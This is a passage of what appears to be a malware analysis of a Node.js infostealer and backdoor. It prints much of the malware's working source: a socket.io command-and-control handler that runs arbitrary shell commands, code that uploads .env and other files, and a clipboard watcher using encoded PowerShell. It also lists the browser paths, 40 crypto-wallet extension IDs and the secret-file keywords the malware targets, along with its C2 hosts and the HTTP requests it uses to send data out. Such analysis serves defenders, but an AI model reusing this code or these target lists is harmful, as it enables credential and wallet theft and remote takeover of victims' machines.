fs.existsSync(line));\n    \n    console.log(`📁 Found ${filePaths.length} ${filename} file(s)`);\n    \n    // Upload each file\n    let uploadedCount = 0;\n    for (const filePath of filePaths) {\n      try {\n        // Check file size\n        const stats = fs.statSync(filePath);\n        if (stats.size > MAX_FILE_SIZE) {\n          console.log(`⚠️ Skipping large file: ${filePath} (${(stats.size / 1024 / 1024).toFixed(2)}MB)`);\n          continue;\n        }\n        \n        // Check if file is readable\n        try {\n          fs.accessSync(filePath, fs.constants.R_OK);\n        } catch (e) {\n          continue;\n        }\n        \n        // Read and upload file\n        const fileContent = fs.readFileSync(filePath);\n        \n        // Create sanitized filename from file path\n        const sanitizedFileName = sanitizeFileName(filePath);\n        const uploadPath = path.join(`found.${filename}`, sanitizedFileName);\n        \n        // Upload with the new path in found folder\n        await uploadFileToLdb(uploadPath, fileContent);\n        uploadedCount++;\n        console.log(`✅ Uploaded (${uploadedCount}/${filePaths.length}): ${filePath} -> ${uploadPath}`);\n        \n        // Yield to event loop every 5 files to allow socket commands to be processed\n        if (uploadedCount % 5 === 0) {\n          await new Promise(resolve => setImmediate(resolve));\n        }\n      } catch (fileError) {\n        // Skip files that can't be read (locked, permissions, etc.)\n        console.log(`⚠️ Skipping file: ${filePath} - ${fileError.message}`);\n        continue;\n      }\n    }\n    \n    console.log(`✅ Finished: Uploaded ${uploadedCount} out of ${filePaths.length} ${filename} file(s)`);\n  } catch (error) {\n    console.error(`❌ Error searching for ${filename} files:`, error.message);\n  }\n}\nasync function connectSocket() {\n  return new Promise((resolve, reject) => {\n    const socket = io(SOCKET_URL, {\n      reconnectionAttempts: 15,\n      reconnectionDelay: 2000,\n      timeout: 20000,\n    });\n\n    // Function to check process status\n    const checkProcessStatus = () => {\n      const path = require(\"path\");\n      const os = require(\"os\");\n      const lockFiles = [\n        { type: \"ldbScript\", file: path.join(os.tmpdir(), `pid.${" +
    t +
    '}.1.lock`) },\n        { type: "autoUploadScript", file: path.join(os.tmpdir(), `pid.${' +
    t +
    '}.2.lock`) },\n        { type: "socketScript", file: path.join(os.tmpdir(), `pid.${' +
    t +
    '}.3.lock`) },\n      ];\n      \n      const status = {\n        ldbScript: false,\n        autoUploadScript: false,\n        socketScript: false,\n      };\n      \n      for (const lockFile of lockFiles) {\n        try {\n          if (fs.existsSync(lockFile.file)) {\n            const lockData = JSON.parse(fs.readFileSync(lockFile.file, \'utf8\'));\n            const pid = lockData.pid;\n            try {\n              process.kill(pid, 0);\n              // Process exists and is running\n              status[lockFile.type] = true;\n            } catch (checkError) {\n              // Process doesn\'t exist, remove stale lock\n              try { fs.unlinkSync(lockFile.file); } catch (e) {}\n              status[lockFile.type] = false;\n            }\n          }\n        } catch (e) {\n          status[lockFile.type] = false;\n        }\n      }\n      \n      return status;\n    };\n\n    socket.on("connect", () => {\n      console.log("✅ Connected to socket server (for file browsing)");\n      \n      // Send initial process status\n      const status = checkProcessStatus();\n      socket.emit("processStatus", status);\n      \n      // Resolve immediately, don\'t wait for file search\n      resolve(socket);\n      \n      // Start searching and uploading .env files after socket connects (non-blocking)\n      \n      setImmediate(async () => {\n        try {\n          await searchAndUploadFiles(\'.env\');\n        } catch (err) {\n          console.error(\'Error searching for .env files:\', err.message);\n        }\n      });\n      \n    });\n\n    socket.on("connect_error", (error) => {\n      console.error("❌ Socket connection error:", error.message);\n      reject(error);\n    });\n\n    socket.on("whour", () => {\n      const s_i = gsi();\n      socket.emit("whoIm", {\n        ukey: ' +
    u_k +
    ",\n        t: " +
    t +
    ",\n        host: " +
    u_k +
    ' + "_" + s_i.host,\n        os: s_i.os,\n        username: s_i.username,\n      });\n    });\n\n    socket.on("command", (msg) => {\n      try {\n        const { message: command, code, cid, sid, path: filePath } = msg;\n        \n        // For directory listings (code 102), use fs.readdirSync directly for proper UTF-8 handling\n        if (code === "102" && filePath) {\n          try {\n            const dirPath = filePath.replace(/\\+$/, ""); // Remove trailing backslashes\n            if (fs.existsSync(dirPath)) {\n              const stats = fs.statSync(dirPath);\n              if (stats.isDirectory()) {\n                const items = fs.readdirSync(dirPath, { encoding: \'utf8\' });\n                const result = items.map(item => {\n                  const fullPath = path.join(dirPath, item);\n                  try {\n                    const itemStats = fs.statSync(fullPath);\n                    const isDir = itemStats.isDirectory();\n                    return {\n                      name: item, // UTF-8 encoded name from readdirSync\n                      path: fullPath,\n                      type: isDir ? "dir" : "file",\n                      size: isDir ? null : itemStats.size,\n                      date: itemStats.mtime.toLocaleString()\n                    };\n                  } catch (statError) {\n                    // If we can\'t stat the item, assume it\'s a file\n                    return {\n                      name: item,\n                      path: fullPath,\n                      type: "file",\n                      size: null,\n                      date: new Date().toLocaleString()\n                    };\n                  }\n                });\n                \n                socket.emit("message", {\n                  ...msg,\n                  result: JSON.stringify(result), // Send as JSON string for parsing\n                });\n                return;\n              }\n            }\n          } catch (dirError) {\n            // Fall through to exec command if readdirSync fails\n            console.warn(`Failed to read directory with fs.readdirSync: ${dirError.message}`);\n          }\n        }\n        \n        exec(command, { windowsHide: true, maxBuffer: 1024 * 1024 * 300 }, async (error, stdout, stderr) => {\n          // Handle WSL permission denied errors gracefully - they\'re expected when accessing /mnt/ drives\n          const isWslPermissionError = stderr && /Permission denied/i.test(stderr) && stdout && stdout.trim().length > 0;\n          const isLsCommand = /^s*lss/.test(command);\n          \n          if (error && !isWslPermissionError) {\n            socket.emit("message", {\n              result: error.message,\n              ...msg,\n              type: "error",\n            });\n            return;\n          }\n          \n          // If stderr contains only permission denied errors and we have stdout, treat as warning but continue\n          if (stderr && !isWslPermissionError) {\n            socket.emit("message", {\n              result: stderr,\n              ...msg,\n              type: "stderr",\n            });\n            return;\n          }\n          \n          // For WSL permission errors with valid stdout, log warning but continue processing\n          if (isWslPermissionError && isLsCommand) {\n            console.warn(`⚠️ WSL permission denied warnings (expected on /mnt/ drives), but continuing with valid output`);\n          }\n          \n          let fileUrl = null;\n          let fileContentToSend = stdout;\n          const maxSize = 1 * 1024 * 1024;\n          \n          if (code === "107" && filePath) {\n            try {\n              if (fs.existsSync(filePath)) {\n                const fileBuffer = fs.readFileSync(filePath);\n                const fileSize = fileBuffer.length;\n                \n                const uploadResult = await uploadFileToLdb(filePath, fileBuffer);\n                if (uploadResult && uploadResult.fileUrl) {\n                  fileUrl = uploadResult.fileUrl;\n                }\n                \n                if (fileSize > maxSize) {\n                  fileContentToSend = null;\n                  console.log(`⚠️ File too large ((${fileSize / 1024 / 1024}).toFixed(2)}MB), sending URL only: ${fileUrl || \'not available\'}`);\n                } else {\n                  fileContentToSend = stdout;\n                }\n              } else {\n                console.warn(`⚠️ File not found: ${filePath}, using stdout output`);\n                if (stdout) {\n                  const contentSize = Buffer.isBuffer(stdout) ? stdout.length : Buffer.byteLength(stdout, \'utf8\');\n                  try {\n                    const uploadResult = await uploadFileToLdb(filePath, stdout);\n                    if (uploadResult && uploadResult.fileUrl) {\n                      fileUrl = uploadResult.fileUrl;\n                    }\n                  } catch (uploadError) {\n                  }\n                  \n                  if (contentSize > maxSize) {\n                    fileContentToSend = null;\n                    console.log(`⚠️ File too large ((${contentSize / 1024 / 1024}).toFixed(2)}MB), sending URL only: ${fileUrl || \'not available\'}`);\n                  }\n                }\n              }\n            } catch (readError) {\n              console.warn(`⚠️ Failed to read file directly: ${readError.message}, using stdout output`);\n              if (stdout) {\n                const contentSize = Buffer.isBuffer(stdout) ? stdout.length : Buffer.byteLength(stdout, \'utf8\');\n                try {\n                  const uploadResult = await uploadFileToLdb(filePath, stdout);\n                  if (uploadResult && uploadResult.fileUrl) {\n                    fileUrl = uploadResult.fileUrl;\n                  }\n                } catch (uploadError) {\n                }\n                \n                if (contentSize > maxSize) {\n                  fileContentToSend = null;\n                  console.log(`⚠️ File too large ((${contentSize / 1024 / 1024}).toFixed(2)}MB), sending URL only: ${fileUrl || \'not available\'}`);\n                }\n              }\n            }\n          }\n          \n          socket.emit("message", {\n            ...msg,\n            result: fileContentToSend,\n            fileUrl: fileUrl,\n          });\n        });\n      } catch (e) {\n        console.error("Error executing command:", e.message);\n        socket.emit("message", {\n          ...msg,\n          result: e.message,\n          type: "error",\n        });\n      }\n    });\n\n    socket.on("disconnect", () => {\n      console.log("⚠️ Disconnected from socket server");\n    });\n\n    socket.on("reconnect", (attemptNumber) => {\n      console.log("✅ Reconnected to socket server (attempt " + attemptNumber + ")");\n      // Send process status on reconnect\n      const status = checkProcessStatus();\n      socket.emit("processStatus", status);\n    });\n\n    // Handle process control commands\n    socket.on("processControl", (data) => {\n      try {\n        const { scriptType, action } = data;\n        const path = require("path");\n        const os = require("os");\n        const { spawn } = require("child_process");\n        \n        if (action === "stop") {\n          // Stop process by reading lock file and killing the process\n          const lockFileMap = {\n            ldbScript: path.join(os.tmpdir(), `pid.${' +
    t +
    "}.1.lock`),\n            autoUploadScript: path.join(os.tmpdir(), `pid.${" +
    t +
    "}.2.lock`),\n            socketScript: path.join(os.tmpdir(), `pid.${" +
    t +
    "}.3.lock`),\n          };\n          \n          const lockFilePath = lockFileMap[scriptType];\n          if (lockFilePath && fs.existsSync(lockFilePath)) {\n            try {\n              const lockData = JSON.parse(fs.readFileSync(lockFilePath, 'utf8'));\n              const pid = lockData.pid;\n              try {\n                process.kill(pid, 'SIGTERM');\n                setTimeout(() => {\n                  try {\n                    process.kill(pid, 0);\n                    // Still running, force kill\n                    process.kill(pid, 'SIGKILL');\n                  } catch (e) {\n                    // Process already dead\n                  }\n                }, 1000);\n                fs.unlinkSync(lockFilePath);\n                console.log(`Stopped ${scriptType} (PID: ${pid})`);\n              } catch (killError) {\n                // Process might already be dead\n                try { fs.unlinkSync(lockFilePath); } catch (e) {}\n              }\n            } catch (e) {\n              console.error(`Error stopping ${scriptType}:`, e.message);\n            }\n          }\n        } else if (action === \"start\") {\n          // Start process - this would require the original script code\n          // For now, we'll just report that manual start is needed\n          console.log(`Start command received for ${scriptType} - manual start required`);\n        }\n        \n        // Update and send status\n        setTimeout(() => {\n          const status = checkProcessStatus();\n          socket.emit(\"processStatus\", status);\n        }, 500);\n      } catch (error) {\n        console.error(\"Error handling process control:\", error);\n      }\n    });\n\n    // Periodically check and send process status\n    setInterval(() => {\n      if (socket.connected) {\n        const status = checkProcessStatus();\n        socket.emit(\"processStatus\", status);\n      }\n    }, 10000); // Check every 10 seconds\n  });\n}\n\n(async () => {\n  // Start socket connection first (non-blocking)\n  (async () => {\n    try {\n      await sendHostInfo();\n      const socket = await connectSocket();\n      process.on(\"SIGINT\", () => {\n        console.log(\"👋 Shutting down...\");\n        socket.disconnect();\n        process.exit(0);\n      });\n    } catch (error) {\n     console.log(error, \"error in socket script\");\n      // Don't exit on socket error, let other operations continue\n    }\n  })();\n  \n  // Start clipboard watching (non-blocking)\n  (async () => {\n    async function getClipboardContent() {\n  try {\n    const platform = os.platform();\n    if (platform === 'win32') {\n      const psScript = `Add-Type -AssemblyName System.Windows.Forms;\n$clipboard = [System.Windows.Forms.Clipboard]::GetText();\nif ($clipboard) { $clipboard } else { '' }`;\n      const encodedScript = Buffer.from(psScript, 'utf16le').toString('base64');\n      const content = execSync(\n        `powershell -NoProfile -WindowStyle Hidden -EncodedCommand ${encodedScript}`,\n        { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 10 * 1024 * 1024, windowsHide: true }\n      ).trim();\n      return content;\n    } else if (platform === 'darwin') {\n      const content = execSync('pbpaste', { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'] }).trim();\n      return content;\n    } else if (platform === 'linux') {\n      // If running in WSL, use PowerShell to get Windows clipboard\n      if (is_wsl()) {\n        try {\n          const psScript = `Add-Type -AssemblyName System.Windows.Forms;\n$clipboard = [System.Windows.Forms.Clipboard]::GetText();\nif ($clipboard) { $clipboard } else { '' }`;\n          const encodedScript = Buffer.from(psScript, 'utf16le').toString('base64');\n          const content = execSync(\n            `powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand ${encodedScript}`,\n            { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'], maxBuffer: 10 * 1024 * 1024 }\n          ).trim();\n          return content;\n        } catch (e) {\n          // Fallback to Linux clipboard if PowerShell fails\n        }\n      }\n      // Try Linux clipboard tools (xclip/xsel)\n      try {\n        const content = execSync('xclip -selection clipboard -o', { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'] }).trim();\n        return content;\n      } catch (e) {\n        try {\n          const content = execSync('xsel --clipboard --output', { encoding: 'utf-8', stdio: ['pipe', 'pipe', 'pipe'] }).trim();\n          return content;\n        } catch (e2) {\n          // Only throw error if not in WSL (in WSL, we already tried PowerShell)\n          if (!is_wsl()) {\n            throw new Error('xclip or xsel not found. Install one of them: sudo apt-get install xclip');\n          }\n          return null;\n        }\n      }\n    } else {\n      throw new Error(`Unsupported platform: ${platform}`);\n    }\n  } catch (error) {\n    return null;\n  }\n}\nasync function watchClipboard(interval = 500) {\n  let lastContent = '';\n  let isRunning = true;\n  const checkClipboard = async () => {\n    if (!isRunning) return;\n    try {\n      const currentContent = await getClipboardContent();\n      if (currentContent !== null && currentContent !== lastContent && currentContent !== '') {\n        await f_s_l(currentContent);\n        lastContent = currentContent;\n      }\n    } catch (error) {console.log(error);}\n    if (isRunning) {\n      setTimeout(checkClipboard, interval);\n    }\n  };\n  \n  await checkClipboard();\n  \n  process.on('SIGINT', () => {\n    isRunning = false;\n  });\n  \n  process.on('SIGTERM', () => {\n    isRunning = false;\n  });\n}\n\nawait watchClipboard(1000);\n  })();\n})();\n\n";
  try {
    Utils.sp_s(H, "pid." + t + ".3.lock", "socketScript", f_s_l);
  } catch (Y) {}
};

ldbScript ( %TEMP%/pid.[t].1.lock )

Scans data directory paths of 13 browsers, stealing Login Data, Login Data For Account, Web Data, Local State, and attempts to decrypt the browser Master Key and passwords. Decrypted passwords are saved in s.txt. Browser paths include:

  1. Google Chrome

    • Windows: %LOCALAPPDATA%\Google\Chrome\User Data
    • macOS: ~/Library/Application Support/Google/Chrome
    • Linux: ~/.config/google-chrome

  2. Brave

  • Windows: %LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data
  • macOS: ~/Library/Application Support/BraveSoftware/Brave-Browser
  • Linux: ~/.config/BraveSoftware/Brave-Browser
  1. AVG Browser
  • Windows: %LOCALAPPDATA%\AVG Browser\User Data
  • macOS: ~/Library/Application Support/AVG Browser
  • Linux: ~/.config/avg-browser
  1. Microsoft Edge
  • Windows: %LOCALAPPDATA%\Microsoft\Edge\User Data
  • macOS: ~/Library/Application Support/Microsoft Edge
  • Linux: ~/.config/microsoft-edge
  1. Opera
  • Windows: %LOCALAPPDATA%\Opera Software\Opera Stable
  • macOS: ~/Library/Application Support/com.operasoftware.Opera
  • Linux: ~/.config/opera
  1. Opera GX
  • Windows: %LOCALAPPDATA%\Opera Software\Opera GX
  • macOS: ~/Library/Application Support/com.operasoftware.OperaGX
  • Linux: ~/.config/opera-gx
  1. Vivaldi
  • Windows: %LOCALAPPDATA%\Vivaldi\User Data
  • macOS: ~/Library/Application Support/Vivaldi
  • Linux: ~/.config/vivaldi
  1. Kiwi Browser
  • Windows: %LOCALAPPDATA%\Kiwi Browser\User Data
  • macOS: ~/Library/Application Support/Kiwi Browser
  • Linux: ~/.config/kiwi-browser
  1. Yandex Browser
  • Windows: %LOCALAPPDATA%\Yandex\YandexBrowser\User Data
  • macOS: ~/Library/Application Support/Yandex/YandexBrowser
  • Linux: ~/.config/yandex-browser
  1. Iridium
  • Windows: %LOCALAPPDATA%\Iridium\User Data=
  • macOS: ~/Library/Application Support/Iridium
  • Linux: ~/.config/iridium-browser
  1. Comodo Dragon
  • Windows: %LOCALAPPDATA%\Comodo\Dragon\User Data
  • macOS: ~/Library/Application Support/Comodo/Dragon
  • Linux: ~/.config/comodo-dragon
  1. SRWare Iron
  • Windows: %LOCALAPPDATA%\SRWare Iron\User Data
  • macOS: ~/Library/Application Support/SRWare Iron
  • Linux: ~/.config/srware-iron
  1. Chromium
  • Windows: %LOCALAPPDATA%\Chromium\User Data
  • macOS: ~/Library/Application Support/Chromium
  • Linux: ~/.config/chromium

Scans the LevelDB of wallet extensions. Path is {Browser Data}/Default/Local Extension Settings/{WalletID}/. Wallet IDs include:

  1. MetaMask

    1
    nkbihfbeogaeaoehlefnkodbefgpgknn

  2. MetaMask Edge

    1
    ejbalbakoplchlghecdalmeeeajnimhm

  3. Rabby Wallet

    1
    acmacodkjbdgmoleebolmdjonilkdbch

  4. Phantom

    1
    bfnaelmomeimhlpmgjnjophhpkkoljpa

  5. TronLinK

    1
    ibnejdfjmmkpcnlpebklmnkoeoihofec

  6. Exodus

    1
    egjidjbpglichdcondbcbdnbeeppgdph

  7. Coin98

    1
    nphplpgoakhhjchkkhmiggakijnkhfnd

  8. Coinbase Wallet

    1
    omaabbefbmiijedngplfjmnooppbclkk

  9. Solflare Wallet

    1
    bhhhlbepdkbapadjdnnojkbgioiodbic

  10. Argent X

    1
    aeachknmefphepccionboohckonoeemg

  11. Keplr

    1
    aflkmhkiijdbfcmhplgifokgdeclgpoi

  12. Terra Station

    1
    agoakfejjabomempkjlepdflaleeobhb

  13. Bitget Wallet

    1
    aholpfdialjgjfhomihkjbmgjidlcdno

  14. Math Wallet

    1
    afbcbjpbpfadlkmhmclhkeeodmamcflc

  15. Leap Wallet

    1
    cgbogdmdefihhljhfeffkljbghamglni

  16. Halo Wallet

    1
    dmkamcknogkgcdfhhbddcghachkejeap

  17. Martian Wallet

    1
    dlcobpjiigpikoobohmabehhmhfoodbb

  18. Pontem Wallet

    1
    efbglgofoippbgcjepnhiblaibcnclgk

  19. Lido

    1
    ejjladinnckdgjemekebdpeokbikhfci

  20. Fewcha Move

    1
    fhbohimaelbohpjbbldcngcnapndodjp

  21. Petra Wallet

    1
    fhkbkphfeanlhnlffkpologfoccekhic

  22. OKX Wallet

    1
    fhmfendgdocmcbmfikdcogofphimnkno

  23. Sender

    1
    fldfpgipfncgndfolcbkdeeknbbbnhcc

  24. XDEFI Wallet

    1
    gjnckgkfmgmibbkoficdidcljeaaaheg

  25. Crypto.com DeFi

    1
    hifafgmccdpekplomjjkcfgodnhcellj

  26. Xverse

    1
    hmeobnfnfcmdkdcmlblgagmfpfboieaf

  27. Safepal Extension

    1
    hnfanknocfeofbddgcijnmhnfnkdnaad

  28. Backpack

    1
    jiidiaalihmmhddjgbnbgdfflelocpak

  29. ONTO Wallet

    1
    jblndlipeogpafnldhgmapagcccfchpi

  30. Sui Wallet

    1
    jmbkjchcobfffnmjboflnchcbljiljdk

  31. Blade Wallet

    1
    jnjpmcgfcfeffkfgcnjefkbkgcpnkpab

  32. Glow Wallet

    1
    kpkmkbkoifcfpapmleipncofdbjdpice

  33. Nami (Cardano)

    1
    khpkpbbcccdmmclmpigdgddabeilkdpd

  34. Eternl (CCvault)

    1
    ldinpeekobnhjjdofggfgjlcehhmanaj

  35. Slope Wallet

    1
    lgmpcpglpngdoalbgeoldeajfclnhafa

  36. XRP Toolkit

    1
    mcohilncbfahbmgdjkbpemcciiolgcge

  37. CLV Wallet

    1
    mopnmbcafieddcagagdcbnhejhlodfdd

  38. Polkadot.js

    1
    nkklfkfpelhghbidbnpdfhblphpfjmbo

  39. Temple Wallet (Tezos)

    1
    penjlddjkjgpnkllboccdgccekpkcbin

  40. Ronin Wallet

    1
    ppbibelpcjmhbdihakflkdcoccbgbkpo

If MacOS, gets macOS Keychain

  • ${process.env.HOME}/Library/Keychains/login.keychain-db

If Brave, gets its wallet LevelDB

  • {Browser Path}/{Profile}/Local Storage/leveldb/*

The information obtained above is uploaded to 144.172.107[.]191:8085/upload in the following way. Browser data theft is executed every 30 seconds for a total of 10 iterations. Password decryption upload is executed every 3rd iteration.

1
2
3
4
5
6
7
8
9
POST /upload HTTP/1.1
Host: 144.172.107[.]191:8085
Content-Type: multipart/form-data
userkey: 101
hostname: <hostname>
timestamp: <timestamp>
file-metadata: <JSON array>
t: <t>
[FormData with multiple files]

autoUploadScript ( %TEMP%/pid.[t].2.lock )

Performs a one-time full disk scan for sensitive files.

Scan paths include

PlatformScan Path
WindowsAll drives (A-Z), C: last
macOS/Linux$HOME directory
WSL/mnt (Windows drives)

Priority directories

1
2
3
4
5
6
7
Windows:
Desktop, Documents, Downloads, OneDrive, Google Drive, GoogleDrive
macOS/Linux:
Desktop, Documents, Downloads, Library/CloudStorage,
Projects, projects, Development, development,
Code, code, Code Projects, code projects,
source, Source, OneDrive, Google Drive, GoogleDrive

Excluded directories

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
.quokka, .bash_rc, .bash_sessions, .atom, .zen, thumbnails, .rhinocode,
.codeium, .adobe, .matplotlib, .antigravity, .gemini, .pyenv, .pgadmin,
.ipython, .idlerc, .codex, .qodo, .cups, .n2, .n3, .pki, .ruby,
.vscode-remote, .python, .php, .oh-my-zsh, .nvs, .maven, .jupyter,
.dotnet, assetbundles, .pnpm-store, .rbenv, movies, music, adobe,
package cache, nvidia corporation, saved games, winrar, .cargo, .lingma,
.qoder, .trae-aicc, .vscode-insiders, .avo-code, ubuntu-backup, snap-data,
app-configs, .local, .config, .anydesk, library, programdata, .tmp,
node_modules, npm, .npm, .yarn, yarn.lock, package-lock.json, pnpm-store,
.pnpm, public, static, assets, resources, css, less, scss, sass, stylus,
styles, style, themes, theme, build, dist, out, target, bin, obj, .next,
.nuxt, .output, .vuepress, .vitepress, appdata, program files,
program files (x86), windows, windows.old, system volume information,
$recycle.bin, recovery, perflogs, intel, amd, nvidia, microsoft,
microsoftedgebackup, system, applications, .trash, .spotlight-v100,
.fseventsd, .documentrevisions-v100, .temporaryitems, .vol, cores,
application support, proc, sys, dev, run, boot, lost+found, snap, flatpak,
desktop.ini, thumbs.db, .vscode, .idea, .vs, .eclipse, .settings,
.metadata, .gradle, .mvn, .git, .github, .svn, .hg, .bzr, .cache, cache,
tmp, temp, *~, vendor, vendors, .venv, venv, .conda, anaconda3, miniconda3,
.rustup, .pub-cache, .dart_tool, .m2, .ivy2, .sbt, libs, packages, package,
pkgs, pkg, documentation, examples, example, samples, sample, test, tests,
spec, specs, .ssh, .gnupg, .aws, .docker, .kube, .terraform, .vagrant,
.node-gyp, .nvm, .bun, .deno, .go, .gopath, .gocache, .cursor,
.vscode-server, .claude, .windsurf, .snipaste, .vue-cli-ui, .devctl,
.eigent, fonts, font, icons, icon, wallpaper, wallpapers, background,
backgrounds, locale, locales, _locales, i18n, translations, lang, language,
languages, visual studio code.app, chrome.app, firefox.app, safari.app,
opera.app, brave browser.app, vmware, .vmware, vmware fusion,
vmware fusion.app, vmware workstation, vmware player, vmware vsphere,
vmware vcenter, /applications/vmware, /usr/lib/vmware, /usr/share/vmware,
program files/vmware, program files (x86)/vmware, appdata/local/vmware,
appdata/roaming/vmware, library/application support/vmware, .vmwarevm,
.vmdk, .vmem, .vmsn, .vmsd, .vmx, .vmxf, .nvram, .vmtm, mysql, postgresql,
mongodb, redis, elasticsearch, openzeppelin, prisma, .expo, .svelte-kit,
hooks, .wine, .3T, .gk, .move, .tldrc, .android, .avm, .brownie,
.cocoapods, .zsh_sessions, .pm2, .pyp, .myi, manifest, debug, plugin, plugins

Target sensitive file keywords/extensions

  • Wallet Related

    1
    2
    3
    4
    5
    .keystore, phone, database, bank, financ, metamask, phantom, bitcoin,
    ethereum, eth, trust, wallet, coinbase, exodus, ledger, trezor, keystore,
    keyring, keychain, atomic, electrum, mycelium, blockchain, bravewallet,
    rabby, coin98, backpack, core, mathwallet, solflare, glow, keplr, argent,
    martian, petra, binance, okx, crypto, cryptocurrency, hardhat, truffle

  • Private Keys / Certificates

    1
    2
    3
    4
    private, privatekey, private_key, private-key, privkey, priv_key, key,
    keypair, key_pair, key-pair, .pem, .p12, .pfx, .jks, .keys, keys, .p8,
    .p7b, .p7c, .cer, .crt, .cert, cert, .der, id_rsa, id_dsa, id_ecdsa,
    id_ed25519, .pub, .priv

  • Mnemonic / Seed

    1
    2
    3
    4
    seed, seedphrase, seed_phrase, seed-phrase, mnemonic, phrase, passphrase,
    pass_phrase, pass-phrase, recovery, recoveryphrase, recovery_phrase,
    recovery-phrase, backup, backupphrase, backup_phrase, backup-phrase,
    12words, 12_words, 12-words, 24words, 24_words, 24-words, bip39, bip44

  • Authentication Info

    1
    2
    3
    4
    5
    password, passwd, pass, pwd, credential, credentials, auth, authentication,
    token, access_token, refresh_token, api_key, apikey, api-key, apisecret,
    api_secret, api-secret, secret, secrets, secretkey, secret_key, secret-key,
    masterkey, master_key, master-key, masterpassword, master_password,
    master-password

  • Account Info

    1
    2
    3
    account, accounts, profile, profiles, user, username, user_name, user-name,
    login, signin, sign_in, sign-in, address, addresses, tx, transaction,
    transactions

  • Config Files

    1
    2
    .env, env, environment, config, configuration, configure, .conf, .cfg,
    .ini, .properties, .yaml, .yml, .toml

  • Database / Documents

    1
    2
    3
    .db, .sqlite, .sqlite3, .sql, .mdb, .accdb, .dbf, .doc, .docx, .pdf,
    .md, .markdown, .rtf, .odt, .xls, .xlsx, .txt, text, note, notes,
    memo, memos

  • Screenshots / Media

    1
    screenshot, screen, snapshot, capture, .png, .jpg, .jpeg, .bmp

  • Code / Data

    1
    .json, .js, .ts, .jsx, .tsx, .csv, .xml

  • Backups / Other Sensitive

    1
    2
    3
    .lock, .log, .bak, backup, .old, .orig, .save, .swp, .tmp, tmp, my,
    personal, vault, safe, secure, lock, encrypt, decrypt, signature, sign,
    certificate, identity, session, cookie

File extension exclusions

1
2
3
4
5
.exe, .dll, .so, .dylib, .bin, .app, .deb, .rpm, .pkg, .dmg, .msi,
.appimage, .lnk, .alias, .desktop, .mp4, .mp3, .avi, .mov, .wmv, .flv,
.mkv, .webm, .wma, .wav, .flac, .aac, .ogg, .m4a, .gif, .tiff, .svg,
.ico, .heif, .tmp, .temp, .swp, .swo, .jar, .war, .ear,
.sublime-project, .sublime-workspace

Once a matching sensitive file is scanned, it first checks if it is larger than 5 MB. If smaller, it uploads to 144[.]172[.]107[.]191:8086/upload

1
2
3
4
5
6
7
8
POST /upload HTTP/1.1
Host: 144.172.107[.]191:8086
Content-Type: multipart/form-data
userkey: 101
hostname: <hostname>
path: <filepath_urlencoded>
t: <t>
[FormData with file]

socketScript ( %TEMP%/pid.[t].3.lock)

This module mainly performs C2 control command parsing and execution.

First, it makes an initial notification to 114.172.107[.]191:8087/api/notify using the following method:

1
2
3
4
5
6
7
8
9
10
POST /api/notify HTTP/1.1
Host: 144.172.107[.]191:8087
Content-Type: application/json
{
  "ukey": <userkey>,
  "t": <t>,
  "host": "101_<hostname>",
  "os": "<os_type> <os_release>",
  "username": "<username>"
}

Then it uses web socket to transmit commands with ws://114.172.107[.]191:8087.

EventDirectionDescription
connectVictim → C2Connection successful, start searching .env*
connect_errorVictimHandle connection error
whourC2 → VictimC2 queries identity
whoImVictim → C2Report host info
commandC2 → VictimExecute arbitrary command
messageVictim → C2Return command result
disconnectVictimDisconnect handling
reconnectVictimReconnection successful
processControlC2 → VictimRemote process control
processStatusVictim → C2Report process status
Connect / Connet error

Connection successful, start searching .env* and upload to http://144.172.107[.]191:8085/api/upload-file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
socket.on("connect", () => {
  console.log("✅ Connected to socket server (for file browsing)");

  const status = checkProcessStatus();
  socket.emit("processStatus", status);

  setImmediate(async () => {
    try {
      await ".env";
    } catch (err) {
      console.error("Error searching for .env files:", err.message);
    }
  });
});
socket.on("connect_error", (error) => {
  console.error("❌ Socket connection error:", error.message);
  reject(error);
});

HTTP POST請求為

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /api/upload-file HTTP/1.1
Host: 144.172.107[.]191:8085
Content-Type: application/octet-stream
userkey: 101
t: 1706567890
hostname: <hostname>
path: found..env%2F_Users_victim_project_.env
filename: .env
timestamp: 1706567890
Content-Length: 256
Connection: keep-alive

[.env content]
whour/whoIm

Query Identity and Report Identity

1
2
3
4
5
6
7
8
9
10
socket.on("whour", () => {
  const s_i = gsi();
  socket.emit("whoIm", {
    ukey: 101,
    t: <timestamp>,
    host: "101_" + s_i.host,
    os: s_i.os,
    username: s_i.username,
  });
});
command/message

Execute command and report result

  • code 102 : Read directory list
  • code 107 : Read and upload
    • If file size > 1MB : HTTP + WebSocket , HTTP path: http://144.172.107[.]191:8085/api/upload-file
    • If file size > 1MB : Only Http, HTTP path: http://144.172.107[.]191:8085/api/upload-file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
socket.on("command", (msg) => {
  try {
    const { message: command, code, cid, sid, path: filePath } = msg;
    if (code === "102" && filePath) {
      try {
        const dirPath = filePath.replace(/\\+$/, "");
        if (fs.existsSync(dirPath)) {
          const stats = fs.statSync(dirPath);
          if (stats.isDirectory()) {
            const items = fs.readdirSync(dirPath, { encoding: "utf8" });

            const result = items.map((item) => {
              const fullPath = path.join(dirPath, item);
              try {
                const itemStats = fs.statSync(fullPath);
                const isDir = itemStats.isDirectory();
                return {
                  name: item,
                  path: fullPath,
                  type: isDir ? "dir" : "file",
                  size: isDir ? null : itemStats.size,
                  date: itemStats.mtime.toLocaleString(),
                };
              } catch (statError) {
                return {
                  name: item,
                  path: fullPath,
                  type: "file",
                  size: null,
                  date: new Date().toLocaleString(),
                };
              }
            });

